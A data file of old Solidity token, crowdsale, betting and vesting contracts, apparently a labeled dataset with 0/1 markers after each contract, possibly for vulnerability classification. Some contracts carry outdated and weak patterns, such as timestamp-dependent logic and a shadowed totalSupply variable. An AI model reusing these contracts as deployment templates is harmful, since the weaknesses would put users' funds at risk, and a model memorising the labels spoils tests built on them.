require(_value <= balances_[_from]);
require(_value <= allowed_[_from][msg.sender]);
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
contract EthTeamContract is StandardToken, Ownable {
event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event BeginGame(address indexed team1, address indexed team2, uint64 gameTime);
event EndGame(address indexed team1, address indexed team2, uint8 gameResult);
event ChangeStatus(address indexed team, uint8 status);
uint256 public price;
uint8 public status;
uint64 public gameTime;
uint64 public finishTime;
address public feeOwner;
address public gameOpponent;
function EthTeamContract(
string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner
) public {
name = _teamName;
symbol = _teamSymbol;
decimals = 3;
totalSupply_ = 0;
price = 1 szabo;
gameOpponent = _gameOpponent;
gameTime = _gameTime;
finishTime = _finishTime;
feeOwner = _feeOwner;
owner = msg.sender;
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (_to != address(this)) {
return super.transfer(_to, _value);
}
require(_value <= balances_[msg.sender] && status == 0);
if (gameTime > 1514764800) {
require(gameTime - 300 > block.timestamp);
}
balances_[msg.sender] = balances_[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
uint256 weiAmount = price.mul(_value);
msg.sender.transfer(weiAmount);
emit Transfer(msg.sender, _to, _value);
emit Sell(_to, msg.sender, _value, weiAmount);
return true;
}
function() payable public {
require(status == 0 && price > 0);
if (gameTime > 1514764800) {
require(gameTime - 300 > block.timestamp);
}
uint256 amount = msg.value.div(price);
balances_[msg.sender] = balances_[msg.sender].add(amount);
totalSupply_ = totalSupply_.add(amount);
emit Transfer(address(this), msg.sender, amount);
emit Buy(address(this), msg.sender, amount, msg.value);
}
function changeStatus(uint8 _status) onlyOwner public {
require(status != _status);
status = _status;
emit ChangeStatus(address(this), _status);
}
function finish() onlyOwner public {
require(block.timestamp >= finishTime);
feeOwner.transfer(address(this).balance);
}
function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public {
require(_gameOpponent != address(this));
require(_gameTime == 0 || (_gameTime > 1514764800));
gameOpponent = _gameOpponent;
gameTime = _gameTime;
status = 0;
emit BeginGame(address(this), _gameOpponent, _gameTime);
}
function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public {
require(gameOpponent != address(0) && gameOpponent == _gameOpponent);
uint256 amount = address(this).balance;
uint256 opAmount = gameOpponent.balance;
require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3);
EthTeamContract op = EthTeamContract(gameOpponent);
if (_gameResult == 1) {
if (amount > 0 && totalSupply_ > 0) {
uint256 lostAmount = amount;
if (op.totalSupply() > 0) {
uint256 feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else {
op.transferFundAndEndGame();
}
} else if (_gameResult == 2) {
if (amount > opAmount) {
lostAmount = amount.sub(opAmount).div(2);
if (op.totalSupply() > 0) {
feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else if (amount == opAmount) {
op.transferFundAndEndGame();
} else {
revert();
}
} else if (_gameResult == 3) {
op.transferFundAndEndGame();
} else {
revert();
}
endGameInternal();
if (totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
emit EndGame(address(this), _gameOpponent, _gameResult);
}
function endGameInternal() private {
gameOpponent = address(0);
gameTime = 0;
status = 0;
}
function transferFundAndEndGame() payable public {
require(gameOpponent != address(0) && gameOpponent == msg.sender);
if (msg.value > 0 && totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
endGameInternal();
}
} | 0 | 1,528 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > uint64(block.timestamp));
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(uint64(block.timestamp) >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract OrguraExchange is StandardToken, Owned {
string public constant name = "Orgura Exchange";
string public constant symbol = "OGX";
uint8 public constant decimals = 18;
uint256 public constant HARD_CAP = 800000000 * 10**uint256(decimals);
uint256 public constant TOKENS_SALE_HARD_CAP = 400000000 * 10**uint256(decimals);
uint256 public constant BASE_RATE = 7169;
uint64 private constant dateSeedSale = 1523145600 + 0 hours;
uint64 private constant datePreSale = 1524182400 + 0 hours;
uint64 private constant dateSaleR1 = 1525132800 + 0 hours;
uint64 private constant dateSaleR2 = 1526342400 + 0 hours;
uint64 private constant dateSaleR3 = 1527724800 + 0 hours;
uint64 private constant date14June2018 = 1528934400 + 0 hours;
uint64 private constant date14July2018 = 1531526400;
uint256[5] private roundCaps = [
50000000* 10**uint256(decimals),
50000000* 10**uint256(decimals),
100000000* 10**uint256(decimals),
100000000* 10**uint256(decimals),
100000000* 10**uint256(decimals)
];
uint8[5] private roundDiscountPercentages = [90, 75, 50, 30, 15];
uint64[4] private dateTokensLockedTills = [
1536883200,
1544745600,
1557792000,
1581638400
];
uint8[4] private lockedTillPercentages = [20, 20, 30, 30];
uint64 private constant dateTeamTokensLockedTill = 1556323200;
bool public tokenSaleClosed = false;
address public timelockContractAddress;
modifier inProgress {
require(totalSupply < TOKENS_SALE_HARD_CAP
&& !tokenSaleClosed && now >= dateSeedSale);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
modifier tradingOpen {
require(uint64(block.timestamp) > date14July2018);
_;
}
function OrguraExchange() public {
}
function () public payable {
purchaseTokens(msg.sender);
}
function purchaseTokens(address _beneficiary) public payable inProgress {
require(msg.value >= 0.01 ether);
uint256 tokens = computeTokenAmount(msg.value);
require(totalSupply.add(tokens) <= TOKENS_SALE_HARD_CAP);
doIssueTokens(_beneficiary, tokens);
owner.transfer(this.balance);
}
function issueTokensMulti(address[] _addresses, uint256[] _tokens) public onlyOwner beforeEnd {
require(_addresses.length == _tokens.length);
require(_addresses.length <= 100);
for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {
doIssueTokens(_addresses[i], _tokens[i]);
}
}
function issueTokens(address _beneficiary, uint256 _tokens) public onlyOwner beforeEnd {
doIssueTokens(_beneficiary, _tokens);
}
function doIssueTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
totalSupply = totalSupply.add(_tokens);
balances[_beneficiary] = balances[_beneficiary].add(_tokens);
Transfer(address(0), _beneficiary, _tokens);
}
function price() public view returns (uint256 tokens) {
return computeTokenAmount(1 ether);
}
function computeTokenAmount(uint256 ethAmount) internal view returns (uint256 tokens) {
uint256 tokenBase = ethAmount.mul(BASE_RATE);
uint8 roundNum = currentRoundIndex();
tokens = tokenBase.mul(100)/(100 - (roundDiscountPercentages[roundNum]));
while(tokens.add(totalSupply) > roundCaps[roundNum] && roundNum < 4){
roundNum++;
tokens = tokenBase.mul(100)/(100 - (roundDiscountPercentages[roundNum]));
}
}
function currentRoundIndex() internal view returns (uint8 roundNum) {
roundNum = currentRoundIndexByDate();
while(roundNum < 4 && totalSupply > roundCaps[roundNum]) {
roundNum++;
}
}
function currentRoundIndexByDate() internal view returns (uint8 roundNum) {
require(now <= date14June2018);
if(now > dateSaleR3) return 4;
if(now > dateSaleR2) return 3;
if(now > dateSaleR1) return 2;
if(now > datePreSale) return 1;
else return 0;
}
function close() public onlyOwner beforeEnd {
uint256 amount_lockedTokens = 300000000;
uint256 lockedTokens = amount_lockedTokens* 10**uint256(decimals);
uint256 reservedTokens = 100000000* 10**uint256(decimals);
uint256 sumlockedAndReservedTokens = lockedTokens + reservedTokens;
uint256 fagmentSale = 0* 10**uint256(decimals);
if(totalSupply.add(sumlockedAndReservedTokens) > HARD_CAP) {
sumlockedAndReservedTokens = HARD_CAP.sub(totalSupply);
}
uint256 _total_lockedTokens =0;
for (uint256 i = 0; i < lockedTillPercentages.length; i = i.add(1))
{
_total_lockedTokens =0;
_total_lockedTokens = amount_lockedTokens.mul(lockedTillPercentages[i])* 10**uint256(decimals)/100;
issueLockedTokensCustom( _total_lockedTokens, dateTokensLockedTills[i] );
}
issueReservedTokens(reservedTokens);
totalSupply = totalSupply.add(sumlockedAndReservedTokens);
tokenSaleClosed = true;
owner.transfer(this.balance);
}
function issueLockedTokens( uint lockedTokens) internal{
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, dateTeamTokensLockedTill);
timelockContractAddress = address(lockedTeamTokens);
balances[timelockContractAddress] = balances[timelockContractAddress].add(lockedTokens);
Transfer(address(0), timelockContractAddress, lockedTokens);
}
function issueLockedTokensCustom( uint lockedTokens , uint64 _dateTokensLockedTill) internal{
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, _dateTokensLockedTill);
timelockContractAddress = address(lockedTeamTokens);
balances[timelockContractAddress] = balances[timelockContractAddress].add(lockedTokens);
Transfer(address(0), timelockContractAddress, lockedTokens);
}
function issueReservedTokens(uint reservedTokens) internal{
balances[owner] = reservedTokens;
Transfer(address(0), owner, reservedTokens);
}
function transferFrom(address _from, address _to, uint256 _value) public tradingOpen returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public tradingOpen returns (bool) {
return super.transfer(_to, _value);
}
} | 0 | 1,267 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract EthertoteToken {
function thisContractAddress() public pure returns (address) {}
function balanceOf(address) public pure returns (uint256) {}
function transfer(address, uint) public {}
}
contract TokenSale {
using SafeMath for uint256;
EthertoteToken public token;
address public admin;
address public thisContractAddress;
address public tokenContractAddress = 0x42be9831FFF77972c1D0E1eC0aA9bdb3CaA04D47;
address public tokenBurnAddress = 0xadCa18DC9489C5FE5BdDf1A8a8C2623B66029198;
address public ethRaisedAddress = 0x9F73D808807c71Af185FEA0c1cE205002c74123C;
uint public preIcoPhaseCountdown;
uint public icoPhaseCountdown;
uint public postIcoPhaseCountdown;
bool public tokenSaleIsPaused;
uint public tokenSalePausedTime;
uint public tokenSaleResumedTime;
uint public tokenSalePausedDuration;
uint256 public weiRaised;
uint public maxEthRaised = 9000;
uint public maxWeiRaised = maxEthRaised.mul(1000000000000000000);
uint public openingTime = 1535385600;
uint public closingTime = openingTime.add(7 days);
uint public rate = 1000000000000000;
uint public minSpend = 100000000000000000;
uint public maxSpend = 100000000000000000000;
modifier onlyAdmin {
require(msg.sender == admin
);
_;
}
event Deployed(string, uint);
event SalePaused(string, uint);
event SaleResumed(string, uint);
event TokensBurned(string, uint);
constructor() public {
admin = msg.sender;
thisContractAddress = address(this);
token = EthertoteToken(tokenContractAddress);
require(ethRaisedAddress != address(0));
require(tokenContractAddress != address(0));
require(tokenBurnAddress != address(0));
preIcoPhaseCountdown = openingTime;
icoPhaseCountdown = closingTime;
postIcoPhaseCountdown = closingTime.add(14 days);
emit Deployed("Ethertote Token Sale contract deployed", now);
}
function tokenSaleTokenBalance() public view returns(uint) {
return token.balanceOf(thisContractAddress);
}
function getAnyAddressTokenBalance(address _address) public view returns(uint) {
return token.balanceOf(_address);
}
function tokenSaleHasFinished() public view returns (bool) {
return now > closingTime;
}
function burnUnsoldTokens() public {
require(tokenSaleIsPaused == false);
require(tokenSaleHasFinished() == true);
token.transfer(tokenBurnAddress, tokenSaleTokenBalance());
emit TokensBurned("tokens sent to TokenBurn contract", now);
}
function pauseTokenSale() onlyAdmin public {
require(tokenSaleHasFinished() == false);
require(tokenSaleIsPaused == false);
tokenSaleIsPaused = true;
tokenSalePausedTime = now;
emit SalePaused("token sale has been paused", now);
}
function resumeTokenSale() onlyAdmin public {
require(tokenSaleIsPaused == true);
tokenSaleResumedTime = now;
tokenSalePausedDuration = tokenSaleResumedTime.sub(tokenSalePausedTime);
closingTime = closingTime.add(tokenSalePausedDuration);
postIcoPhaseCountdown = closingTime.add(14 days);
tokenSaleIsPaused = false;
emit SaleResumed("token sale has now resumed", now);
}
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address buyer) public payable {
require(openingTime <= block.timestamp);
require(block.timestamp < closingTime);
require(msg.value >= minSpend);
require(msg.value <= maxSpend);
require(tokenSaleTokenBalance() > 0);
require(tokenSaleIsPaused == false);
uint256 weiAmount = msg.value;
preValidatePurchase(buyer, weiAmount);
uint256 tokens = getTokenAmount(weiAmount);
require(tokens <= tokenSaleTokenBalance());
weiRaised = weiRaised.add(weiAmount);
processPurchase(buyer, tokens);
emit TokenPurchase(
msg.sender,
buyer,
weiAmount,
tokens
);
updatePurchasingState(buyer, weiAmount);
forwardFunds();
postValidatePurchase(buyer, weiAmount);
}
function preValidatePurchase(
address buyer,
uint256 weiAmount
)
internal pure
{
require(buyer != address(0));
require(weiAmount != 0);
}
function postValidatePurchase(
address,
uint256
)
internal pure
{
}
function deliverTokens(
address buyer,
uint256 tokenAmount
)
internal
{
token.transfer(buyer, tokenAmount);
}
function processPurchase(
address buyer,
uint256 tokenAmount
)
internal
{
deliverTokens(buyer, tokenAmount);
}
function updatePurchasingState(
address,
uint256
)
internal pure
{
}
function getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return weiAmount.div(rate);
}
function forwardFunds() internal {
ethRaisedAddress.transfer(msg.value);
}
function maximumRaised() public view returns(uint) {
return maxWeiRaised;
}
function amountRaised() public view returns(uint) {
return weiRaised;
}
function timeComplete() public view returns(uint) {
return closingTime;
}
function delayOpeningTime(uint256 _openingTime) onlyAdmin public {
openingTime = _openingTime;
closingTime = openingTime.add(7 days);
preIcoPhaseCountdown = openingTime;
icoPhaseCountdown = closingTime;
postIcoPhaseCountdown = closingTime.add(14 days);
}
} | 0 | 1,899 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract WXBET is StandardToken {
uint public totalSupply = 1975*10**24;
uint8 public decimals = 18;
string public name = "WXBET";
string public symbol = "WXB";
function WXBET () {
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
} | 1 | 3,005 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract TokenERC20 is ERC20, Ownable{
string public name;
string public symbol;
uint8 public decimals = 18;
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 _initialSupply, string _tokenName, string _tokenSymbol, uint8 _decimals) public {
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimals;
totalSupply = _initialSupply * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
}
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
revert();
}
_;
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances[_owner][_spender];
}
function _transfer(address _from, address _to, uint _value) internal returns(bool) {
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
require(_value >= 0);
uint previousBalances = balances[_from].add(balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
function transfer(address _to, uint256 _value) public returns(bool) {
return _transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns(bool) {
require((_value == 0) || (allowances[msg.sender][_spender] == 0));
allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns(bool) {
if (approve(_spender, _value)) {
TokenRecipient spender = TokenRecipient(_spender);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
return false;
}
function transferForMultiAddresses(address[] _addresses, uint256[] _amounts) public returns (bool) {
for (uint256 i = 0; i < _addresses.length; i++) {
require(_addresses[i] != address(0));
require(_amounts[i] <= balances[msg.sender]);
require(_amounts[i] > 0);
balances[msg.sender] = balances[msg.sender].sub(_amounts[i]);
balances[_addresses[i]] = balances[_addresses[i]].add(_amounts[i]);
emit Transfer(msg.sender, _addresses[i], _amounts[i]);
}
return true;
}
function burn(uint256 _value) public returns(bool) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns(bool) {
require(balances[_from] >= _value);
require(_value <= allowances[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_from, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(allowances[msg.sender][_spender].add(_addedValue) > allowances[msg.sender][_spender]);
allowances[msg.sender][_spender] =allowances[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
}
contract ZJLTToken is TokenERC20 {
function ZJLTToken() TokenERC20(2500000000, "ZJLT Distributed Factoring Network", "ZJLT", 18) public {
}
function () payable public {
require(false);
}
}
contract ZJLTTokenVaultTest is Ownable {
using SafeMath for uint256;
address public teamWallet = 0x1fd4C9206715703c209651c215f506555a40b7C0;
uint256 public startLockTime;
uint256 public totalAlloc = 25 * 10 ** 18;
uint256 public perValue = 20833333 * 10 ** 11;
uint256 public timeLockPeriod = 180 seconds;
uint256 public teamVestingStages = 12;
uint256 public latestUnlockStage = 0;
mapping (address => uint256) public lockBalance;
ZJLTToken public token;
bool public isExec;
event Alloc(address _wallet, uint256 _value);
event Claim(address _wallet, uint256 _value);
modifier unLocked {
uint256 nextStage = latestUnlockStage + 1;
require(startLockTime > 0 && now >= startLockTime + nextStage.mul(timeLockPeriod));
_;
}
modifier unExecd {
require(isExec == false);
_;
}
function ZJLTTokenVaultTest(ERC20 _token) public {
owner = msg.sender;
token = ZJLTToken(_token);
}
function isUnlocked() public constant returns (bool) {
uint256 nextStage = latestUnlockStage + 1;
return startLockTime > 0 && now >= startLockTime.add(nextStage.mul(timeLockPeriod)) ;
}
function getNow() public constant returns (uint256) {
return now;
}
function alloc() public onlyOwner unExecd{
require(token.balanceOf(address(this)) >= totalAlloc);
lockBalance[teamWallet] = totalAlloc;
startLockTime = 1528542000 seconds;
isExec = true;
emit Alloc(teamWallet, totalAlloc);
}
function claim() public onlyOwner unLocked {
require(lockBalance[teamWallet] > 0);
if(latestUnlockStage == 11 && perValue != lockBalance[teamWallet] ){
perValue = lockBalance[teamWallet];
}
lockBalance[teamWallet] = lockBalance[teamWallet].sub(perValue);
require(token.transfer(teamWallet, perValue));
latestUnlockStage = latestUnlockStage.add(1);
emit Claim(teamWallet, perValue);
}
} | 1 | 2,734 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Lockable is Ownable {
event Lock();
event Unlock();
bool public locked = false;
modifier whenNotLocked() {
require(!locked);
_;
}
modifier whenLocked() {
require(locked);
_;
}
function lock() public onlyOwner whenNotLocked {
locked = true;
Lock();
}
function unlock() public onlyOwner whenLocked {
locked = false;
Unlock();
}
}
contract BaseFixedERC20Token is Lockable {
using SafeMath for uint;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) private allowed;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function balanceOf(address owner_) public view returns (uint balance) {
return balances[owner_];
}
function transfer(address to_, uint value_) public whenNotLocked returns (bool) {
require(to_ != address(0) && value_ <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value_);
balances[to_] = balances[to_].add(value_);
Transfer(msg.sender, to_, value_);
return true;
}
function transferFrom(address from_, address to_, uint value_) public whenNotLocked returns (bool) {
require(to_ != address(0) && value_ <= balances[from_] && value_ <= allowed[from_][msg.sender]);
balances[from_] = balances[from_].sub(value_);
balances[to_] = balances[to_].add(value_);
allowed[from_][msg.sender] = allowed[from_][msg.sender].sub(value_);
Transfer(from_, to_, value_);
return true;
}
function approve(address spender_, uint value_) public whenNotLocked returns (bool) {
if (value_ != 0 && allowed[msg.sender][spender_] != 0) {
revert();
}
allowed[msg.sender][spender_] = value_;
Approval(msg.sender, spender_, value_);
return true;
}
function allowance(address owner_, address spender_) public view returns (uint) {
return allowed[owner_][spender_];
}
}
contract BaseICOTokenWithBonus is BaseFixedERC20Token {
uint public availableSupply;
address public ico;
uint public bonusUnlockAt;
